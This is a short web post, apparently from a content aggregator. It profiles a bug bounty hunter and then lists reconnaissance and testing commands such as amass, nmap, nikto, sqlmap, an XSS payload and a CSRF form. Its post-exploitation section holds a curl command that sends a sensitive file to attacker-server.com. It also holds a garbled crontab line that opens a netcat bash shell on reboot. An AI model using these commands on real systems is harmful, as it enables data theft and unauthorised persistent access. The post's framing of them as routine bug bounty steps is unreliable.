Bug bounty hunting combines cybersecurity skills with real-world rewards. Timotius Benhur, a System Engineer and Bug Bounty Hunter, shares his journey despite a busy schedule. His Medium blog (uzet.medium.com) documents his exploits, offering insights for aspiring hunters.
You Should Know:
Essential Bug Bounty Tools & Commands
1. Reconnaissance
- Subdomain Enumeration:
amass enum -d example.com -passive -o subdomains.txt
- Port Scanning:
nmap -sV -T4 -p- target.com -oN scan_results.txt
2. Vulnerability Scanning
- Nikto Web Scanner:
nikto -h https://target.com -output vuln_scan.txt
- SQLi Detection:
sqlmap -u "https://target.com/login?id=1" --batch --crawl=10
3. Exploitation
- XSS Payload Testing:
<script>alert('XSS')</script> - CSRF PoC:
</li> </ul> <form action="https://target.com/change-email" method="POST"> <input type="hidden" name="email" value="[email protected]"> </form>
4. Post-Exploitation
- Data Exfiltration:
curl -X POST -d @sensitive.txt https://attacker-server.com/exfil
- Persistence:
crontab -e @reboot nc -lvp 4444 -e /bin/bash
What Undercode Say:
Bug bounty hunting demands persistence, automation, and deep knowledge of OWASP Top 10. Use:
– Linux Commands:grep,awk, `sed` for log analysis.
– Windows Commands: `netstat -ano` for open ports.
– Automation: Python scripts with `requests` library for scanning.Prediction: Bug bounty platforms will integrate AI for automated vulnerability triaging, reducing false positives.
Expected Output:
- Recon data (
subdomains.txt). - Vulnerability reports (
vuln_scan.txt). - Proof-of-Concept (PoC) exploits.
